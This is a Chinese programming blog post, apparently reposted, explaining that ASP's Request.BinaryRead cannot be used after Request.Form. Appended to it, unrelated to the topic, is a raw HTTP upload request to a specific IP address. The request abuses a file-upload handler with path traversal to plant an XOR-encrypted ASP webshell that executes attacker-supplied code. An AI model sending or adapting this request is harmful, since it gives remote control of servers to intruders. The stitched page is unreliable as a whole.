使用 Request.Form 集合之后,不能调用 BinaryRead

本文探讨了在Web应用中使用Request.Form获取POST提交数据后,无法再使用Request.BinaryRead读取二进制数据的问题。文章解释了这种现象的原因,并提供了处理上传文件时的解决思路。

错误:使用 Request.Form 集合之后,不能调用 BinaryRead ,使用 Request.Form 集合之后,不能调用 BinaryRead  

Request.form 是用来获取post 提交的字符的,
Request.BinaryRead 获取二进制,
你调用Request.Form后,上载的数据已经被IIS全部处理完了,用BinaryRead当然也就没有数据可读了。
两种方法中你只能用一种,如果你上传文件,可以用以BinaryRead,
你所提交的文件名也在二进制文件流中,你可以截取后,再转换一下就可以了


你要是想要读出上载的文件的内容,可以自己编一个函数处理上载数据。

转载于:https://www.cnblogs.com/sk-net/archive/2008/06/16/1223409.html

POST /C6/Fileupload/Upload.ashx HTTP/1.1 Host: 221.1.106.80:81 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 Content-Type: multipart/form-data; boundary=7d81b916a8ac8 Content-Length: 185 -----------------------------7d81b916a8ac8 Content-Disposition: form-data; name="asdasda" {{file(C:\Users\test\Desktop\winwebmail.exe)}} -----------------------------7d81b916a8ac8 Content-Disposition: form-data; name="asdasda" {{file(C:\Users\test\Desktop\winwebmail.exe)}} -----------------------------7d81b916a8ac8 Content-Disposition: form-data; name="asdasda" {{file(C:\Users\test\Desktop\winwebmail.exe)}} -----------------------------7d81b916a8ac8 Content-Disposition: form-data; name="folder" \....\....\C6\common\ -----------------------------7d81b916a8ac8 Content-Disposition: form-data; name="encrpyt" false -----------------------------7d81b916a8ac8 Content-Disposition: form-data; name="file"; filename="3212.asp" Content-Type: text/plain <% On Error Resume Next Response.CharSet = "UTF-8" k="900bc885d7553375" Session("k")=k size=Request.TotalBytes csize=Request.ServerVariables("HTTP_CSIZE") If IsEmpty(csize)=False Then size=CLng(csize) End If If size>0 Then content=Request.BinaryRead(size) For i=1 To size result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1))) Next execute(result) End If %> -----------------------------7d81b916a8ac8 Content-Disposition: form-data; name="asdasda" {{file(C:\Users\test\Desktop\winwebmail.exe)}} -----------------------------7d81b916a8ac8--
最新发布
08-08
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值